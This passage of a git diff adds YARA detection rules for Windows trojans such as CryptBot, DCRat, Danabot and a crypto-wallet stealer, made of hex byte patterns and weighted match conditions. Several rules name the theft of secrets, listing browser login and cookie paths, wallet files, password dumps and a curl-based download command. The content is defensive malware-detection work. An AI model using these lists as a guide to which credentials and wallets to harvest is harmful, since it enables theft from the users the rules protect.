20 00 63 00 6f 00 70 00 79 00 20 00 2f 00 62 00 } //1 cmd /c copy /b + $a_02_1 = {2e 00 76 00 73 00 73 00 20 00 2b 00 [0-3c] 2e 00 76 00 73 00 73 00 20 00 2b 00 [0-3c] 2e 00 76 00 73 00 73 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Crypt/Trojan_Win32_Crypt_SX_MTB.yar b/Trojan/Win32/Crypt/Trojan_Win32_Crypt_SX_MTB.yar new file mode 100644 index 0000000000..fb60a2fe9c --- /dev/null +++ b/Trojan/Win32/Crypt/Trojan_Win32_Crypt_SX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Crypt_SX_MTB{ + meta: + description = "Trojan:Win32/Crypt.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {33 ff 89 45 f8 c1 e0 04 8b cf 2b d8 89 7d fc 89 5d 08 39 4d f8 76 4c } //3 + $a_01_1 = {0f b7 01 83 f8 41 72 08 83 f8 5a 77 03 83 c0 20 66 89 04 0e 83 e9 02 4a 75 e6 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_AHB_MTB.yar b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_AHB_MTB.yar new file mode 100644 index 0000000000..b998e75786 --- /dev/null +++ b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_AHB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CryptInject_AHB_MTB{ + meta: + description = "Trojan:Win32/CryptInject.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {39 d2 74 01 ea 31 07 68 ?? ?? ?? ?? 8b 1c 24 83 c4 04 81 c7 04 00 00 00 49 39 d7 75 e3 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_CCJZ_MTB.yar b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_CCJZ_MTB.yar new file mode 100644 index 0000000000..3e46d0f334 --- /dev/null +++ b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_CCJZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_CryptInject_CCJZ_MTB{ + meta: + description = "Trojan:Win32/CryptInject.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_03_0 = {99 83 e2 1f 01 d0 c1 f8 05 83 e8 01 0f b6 44 05 ?? 31 c8 88 45 ?? c7 45 } //6 + $a_03_1 = {01 ca 0f b6 1a 8d 4d ?? 8b 55 ?? 01 ca 0f b6 12 31 da 88 10 83 45 ?? 01 83 7d ?? 03 7e } //4 + $a_01_2 = {50 41 59 4c 4f 41 44 5f } //1 PAYLOAD_ + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*4+(#a_01_2 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_LZT_MTB.yar b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_LZT_MTB.yar new file mode 100644 index 0000000000..f3b4db077c --- /dev/null +++ b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_LZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CryptInject_LZT_MTB{ + meta: + description = "Trojan:Win32/CryptInject.LZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b ce 83 e1 1f d3 e8 33 d2 b9 d0 01 00 00 89 45 f8 8b c6 f7 f1 8b 4d f8 8b c7 46 32 0c 02 8b 55 08 32 cb 88 4c 16 ?? d1 eb 83 fe 20 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_MDD_MTB.yar b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_MDD_MTB.yar new file mode 100644 index 0000000000..1b90d2dbb4 --- /dev/null +++ b/Trojan/Win32/CryptInject/Trojan_Win32_CryptInject_MDD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CryptInject_MDD_MTB{ + meta: + description = "Trojan:Win32/CryptInject.MDD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b ce 83 e1 1f d3 e8 33 d2 b9 ?? ?? ?? ?? 89 45 f8 8b c6 f7 f1 8b 45 0c 8b 4d f8 46 32 0c 02 8b 55 08 32 cb 88 4c 16 ff d1 eb 83 fe 20 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DA_MTB.yar b/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DA_MTB.yar new file mode 100644 index 0000000000..e0cd0eaf48 --- /dev/null +++ b/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DA_MTB.yar @@ -0,0 +1,63 @@ + +rule Trojan_Win32_CryptBot_DA_MTB{ + meta: + description = "Trojan:Win32/CryptBot.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,64 02 64 02 35 00 00 " + + strings : + $a_81_0 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 47 6f 6f 67 6c 65 } //100 Browsers\Cookies\Google + $a_03_1 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_2 = {47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_3 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_4 = {47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_5 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 4f 70 65 72 61 } //100 Browsers\Cookies\Opera + $a_03_6 = {4f 00 70 00 65 00 72 00 61 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 [0-0f] 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_7 = {4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c [0-0f] 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_8 = {4f 00 70 00 65 00 72 00 61 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 [0-0f] 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_9 = {4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c [0-0f] 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_10 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 33 36 30 } //100 Browsers\Cookies\360 + $a_03_11 = {33 00 36 00 30 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_12 = {33 36 30 43 68 72 6f 6d 65 5c 43 68 72 6f 6d 65 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_13 = {33 00 36 00 30 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_14 = {33 36 30 43 68 72 6f 6d 65 5c 43 68 72 6f 6d 65 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_15 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 43 6f 63 43 6f 63 } //100 Browsers\Cookies\CocCoc + $a_03_16 = {43 00 6f 00 63 00 43 00 6f 00 63 00 5c 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_17 = {43 6f 63 43 6f 63 5c 42 72 6f 77 73 65 72 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_18 = {43 00 6f 00 63 00 43 00 6f 00 63 00 5c 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_19 = {43 6f 63 43 6f 63 5c 42 72 6f 77 73 65 72 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_20 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 43 6f 6d 6f 64 6f } //100 Browsers\Cookies\Comodo + $a_03_21 = {43 00 6f 00 6d 00 6f 00 64 00 6f 00 5c 00 44 00 72 00 61 00 67 00 6f 00 6e 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_22 = {43 6f 6d 6f 64 6f 5c 44 72 61 67 6f 6e 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_23 = {43 00 6f 00 6d 00 6f 00 64 00 6f 00 5c 00 44 00 72 00 61 00 67 00 6f 00 6e 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_24 = {43 6f 6d 6f 64 6f 5c 44 72 61 67 6f 6e 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_25 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 53 6c 69 6d 6a 65 74 } //100 Browsers\Cookies\Slimjet + $a_03_26 = {53 00 6c 00 69 00 6d 00 6a 00 65 00 74 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_27 = {53 6c 69 6d 6a 65 74 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_28 = {53 00 6c 00 69 00 6d 00 6a 00 65 00 74 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_29 = {53 6c 69 6d 6a 65 74 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_30 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 43 65 6e 74 } //100 Browsers\Cookies\Cent + $a_03_31 = {43 00 65 00 6e 00 74 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_32 = {43 65 6e 74 42 72 6f 77 73 65 72 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_33 = {43 00 65 00 6e 00 74 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_34 = {43 65 6e 74 42 72 6f 77 73 65 72 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_35 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 54 6f 72 63 68 } //100 Browsers\Cookies\Torch + $a_03_36 = {54 00 6f 00 72 00 63 00 68 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_37 = {54 6f 72 63 68 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_38 = {54 00 6f 00 72 00 63 00 68 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_39 = {54 6f 72 63 68 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_40 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 56 69 76 61 6c 64 69 } //100 Browsers\Cookies\Vivaldi + $a_03_41 = {56 00 69 00 76 00 61 00 6c 00 64 00 69 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_42 = {56 69 76 61 6c 64 69 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_43 = {56 00 69 00 76 00 61 00 6c 00 64 00 69 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_44 = {56 69 76 61 6c 64 69 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + $a_81_45 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 42 72 61 76 65 } //100 Browsers\Cookies\Brave + $a_81_46 = {62 72 61 76 65 5c 4c 6f 67 69 6e 44 61 74 61 } //1 brave\LoginData + $a_81_47 = {62 72 61 76 65 5c 43 6f 6f 6b 69 65 73 } //1 brave\Cookies + $a_81_48 = {42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 43 68 72 6f 6d 69 75 6d } //100 Browsers\Cookies\Chromium + $a_03_49 = {43 00 68 00 72 00 6f 00 6d 00 69 00 75 00 6d 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 4c 00 6f 00 67 00 69 00 6e 00 44 00 61 00 74 00 61 00 } //1 + $a_03_50 = {43 68 72 6f 6d 69 75 6d 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 44 61 74 61 } //1 + $a_03_51 = {43 00 68 00 72 00 6f 00 6d 00 69 00 75 00 6d 00 5c 00 [0-0f] 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 + $a_03_52 = {43 68 72 6f 6d 69 75 6d 5c [0-0f] 5c 44 65 66 61 75 6c 74 5c 43 6f 6f 6b 69 65 73 } //1 + condition: + ((#a_81_0 & 1)*100+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_81_5 & 1)*100+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_81_10 & 1)*100+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_81_15 & 1)*100+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_81_20 & 1)*100+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_81_25 & 1)*100+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_81_30 & 1)*100+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_81_35 & 1)*100+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_81_40 & 1)*100+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_81_45 & 1)*100+(#a_81_46 & 1)*1+(#a_81_47 & 1)*1+(#a_81_48 & 1)*100+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_03_51 & 1)*1+(#a_03_52 & 1)*1) >=612 + +} \ No newline at end of file diff --git a/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DB_MTB.yar b/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DB_MTB.yar new file mode 100644 index 0000000000..a5f96af7bc --- /dev/null +++ b/Trojan/Win32/Cryptbot/Trojan_Win32_CryptBot_DB_MTB.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_CryptBot_DB_MTB{ + meta: + description = "Trojan:Win32/CryptBot.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffff93 01 ffffff93 01 10 00 00 " + + strings : + $a_81_0 = {77 61 6c 6c 65 74 2e 64 61 74 } //100 wallet.dat + $a_81_1 = {6c 6f 67 69 6e 73 2e 6a 73 6f 6e } //100 logins.json + $a_81_2 = {63 6f 6f 6b 69 65 73 2e 73 71 6c 69 74 65 } //100 cookies.sqlite + $a_81_3 = {50 61 73 73 77 6f 72 64 73 2e 74 78 74 } //100 Passwords.txt + $a_81_4 = {53 63 72 65 65 6e 2e 6a 70 67 } //100 Screen.jpg + $a_81_5 = {56 69 76 61 6c 64 69 } //1 Vivaldi + $a_81_6 = {54 6f 72 63 68 } //1 Torch + $a_81_7 = {62 72 61 76 65 } //1 brave + $a_81_8 = {53 6c 69 6d 6a 65 74 } //1 Slimjet + $a_81_9 = {43 65 6e 74 42 72 6f 77 73 65 72 } //1 CentBrowser + $a_81_10 = {43 6f 6d 6f 64 6f } //1 Comodo + $a_81_11 = {43 6f 63 43 6f 63 } //1 CocCoc + $a_81_12 = {47 6f 6f 67 6c 65 } //1 Google + $a_81_13 = {33 36 30 43 68 72 6f 6d 65 } //1 360Chrome + $a_81_14 = {4f 70 65 72 61 } //1 Opera + $a_81_15 = {43 68 72 6f 6d 69 75 6d } //1 Chromium + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*100+(#a_81_2 & 1)*100+(#a_81_3 & 1)*100+(#a_81_4 & 1)*100+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1) >=403 + +} \ No newline at end of file diff --git a/Trojan/Win32/CryptoStealer/Trojan_Win32_CryptoStealer_CCJX_MTB.yar b/Trojan/Win32/CryptoStealer/Trojan_Win32_CryptoStealer_CCJX_MTB.yar new file mode 100644 index 0000000000..13d9a5fabc --- /dev/null +++ b/Trojan/Win32/CryptoStealer/Trojan_Win32_CryptoStealer_CCJX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CryptoStealer_CCJX_MTB{ + meta: + description = "Trojan:Win32/CryptoStealer.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {45 78 6f 64 75 73 00 00 4c 65 64 67 65 72 00 00 41 74 6f 6d 69 63 00 00 42 69 74 62 6f 78 00 00 54 72 65 7a 6f 72 00 00 45 6c 65 63 74 72 75 6d 00 00 00 00 43 6f 69 6e 6f 6d 69 00 47 75 61 72 64 61 00 00 4d 6f 6e 65 72 6f 00 00 44 61 65 64 61 6c 75 73 00 00 00 00 57 61 73 61 62 69 } //5 + $a_01_1 = {45 78 6f 64 75 73 41 63 74 69 76 65 00 00 00 00 4c 65 64 67 65 72 41 63 74 69 76 65 00 00 00 00 41 74 6f 6d 69 63 41 63 74 69 76 65 00 00 00 00 42 69 74 62 6f 78 41 63 74 69 76 65 00 00 00 00 54 72 65 7a 6f 72 41 63 74 69 76 65 00 00 00 00 45 6c 65 63 74 72 75 6d 41 63 74 69 76 65 00 00 43 6f 69 6e 6f 6d 69 41 63 74 69 76 65 } //6 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*6) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Cwordol/Trojan_Win32_Cwordol_A.yar b/Trojan/Win32/Cwordol/Trojan_Win32_Cwordol_A.yar new file mode 100644 index 0000000000..4b82234a1f --- /dev/null +++ b/Trojan/Win32/Cwordol/Trojan_Win32_Cwordol_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Cwordol_A{ + meta: + description = "Trojan:Win32/Cwordol.A,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_02_0 = {3d 00 74 00 78 00 74 00 26 00 63 00 75 00 72 00 6c 00 20 00 25 00 [0-08] 25 00 25 00 [0-08] 25 00 25 00 [0-08] 25 00 25 00 [0-08] 25 00 } //1 + $a_02_1 = {20 00 2d 00 6f 00 20 00 25 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 25 00 5c 00 [0-10] 2e 00 6d 00 73 00 63 00 20 00 [0-20] 20 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 [0-0a] 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 [0-10] 2e 00 6d 00 73 00 63 00 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Cyclun/Trojan_Win32_Cyclun_ECP_MTB.yar b/Trojan/Win32/Cyclun/Trojan_Win32_Cyclun_ECP_MTB.yar new file mode 100644 index 0000000000..ebbffb0079 --- /dev/null +++ b/Trojan/Win32/Cyclun/Trojan_Win32_Cyclun_ECP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Cyclun_ECP_MTB{ + meta: + description = "Trojan:Win32/Cyclun.ECP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {b9 f7 68 00 00 99 f7 f9 6a 00 80 c2 02 30 96 } //5 + $a_01_1 = {8d 4b 01 f7 e6 33 db 46 c1 ea 02 8d 04 92 3b f8 0f 45 d9 81 fe } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/DCRat/Trojan_Win32_DCRat_GXD_MTB.yar b/Trojan/Win32/DCRat/Trojan_Win32_DCRat_GXD_MTB.yar new file mode 100644 index 0000000000..51c5d58981 --- /dev/null +++ b/Trojan/Win32/DCRat/Trojan_Win32_DCRat_GXD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_DCRat_GXD_MTB{ + meta: + description = "Trojan:Win32/DCRat.GXD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {00 4b 4a 3f 4b 32 3f 83 c4 14 } //5 + $a_03_1 = {43 42 43 33 36 3d ?? ?? ?? ?? 3f 01 00 5f } //5 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/DCRat/Trojan_Win32_DCRat_MX_MTB.yar b/Trojan/Win32/DCRat/Trojan_Win32_DCRat_MX_MTB.yar new file mode 100644 index 0000000000..c583da8f48 --- /dev/null +++ b/Trojan/Win32/DCRat/Trojan_Win32_DCRat_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_DCRat_MX_MTB{ + meta: + description = "Trojan:Win32/DCRat.MX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {8b 7d 08 8b c7 c1 f8 05 8d 34 85 60 3f 42 00 8b 06 83 e7 1f c1 e7 06 03 c7 8a 58 24 02 db d0 fb } //1 + $a_01_1 = {6c 00 69 00 62 00 47 00 4c 00 45 00 53 00 76 00 32 00 2e 00 64 00 6c 00 6c 00 } //1 libGLESv2.dll + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dacic/Trojan_Win32_Dacic_AB_MTB.yar b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_AB_MTB.yar new file mode 100644 index 0000000000..cc16e41852 --- /dev/null +++ b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dacic_AB_MTB{ + meta: + description = "Trojan:Win32/Dacic.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 cc 8b 48 0c 8b 55 dc 8b 42 0c 8b 95 00 ff ff ff 8b b5 f8 fe ff ff 8a 0c 11 32 0c 30 8b 55 cc 8b 42 0c 8b 95 f0 fe ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dacic/Trojan_Win32_Dacic_MBZ_MTB.yar b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_MBZ_MTB.yar new file mode 100644 index 0000000000..e0d35249a8 --- /dev/null +++ b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_MBZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dacic_MBZ_MTB{ + meta: + description = "Trojan:Win32/Dacic.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {20 3b 40 00 b0 18 40 00 7f f2 30 01 00 ff ff ff 08 00 00 00 01 00 00 00 03 00 01 00 e9 00 00 00 50 14 40 00 90 16 40 00 e8 11 40 00 78 00 00 00 83 00 00 00 8c } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dacic/Trojan_Win32_Dacic_PGC_MTB.yar b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_PGC_MTB.yar new file mode 100644 index 0000000000..5decdcde98 --- /dev/null +++ b/Trojan/Win32/Dacic/Trojan_Win32_Dacic_PGC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Dacic_PGC_MTB{ + meta: + description = "Trojan:Win32/Dacic.PGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {33 c5 89 45 fc 57 8d 85 f0 ee ff ff 50 68 00 10 00 00 8d 8d f8 ee ff ff 33 ff 51 89 bd f4 ee ff ff } //5 + $a_01_1 = {43 3a 5c 48 57 49 44 2e 74 78 74 00 43 3a 5c 00 0d 2b 32 22 3a 27 2f 3f 03 3d 2b 21 07 71 34 32 3d 39 33 33 70 31 13 35 28 38 2c 31 05 15 4b 59 44 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Danabot/Trojan_Win32_Danabot_EAII_MTB.yar b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_EAII_MTB.yar new file mode 100644 index 0000000000..8fc5da70af --- /dev/null +++ b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_EAII_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Danabot_EAII_MTB{ + meta: + description = "Trojan:Win32/Danabot.EAII!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {0f b6 d3 03 c6 03 d0 81 e2 ff 00 00 00 81 3d ?? ?? ?? ?? 8a 08 00 00 8b f2 89 35 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git 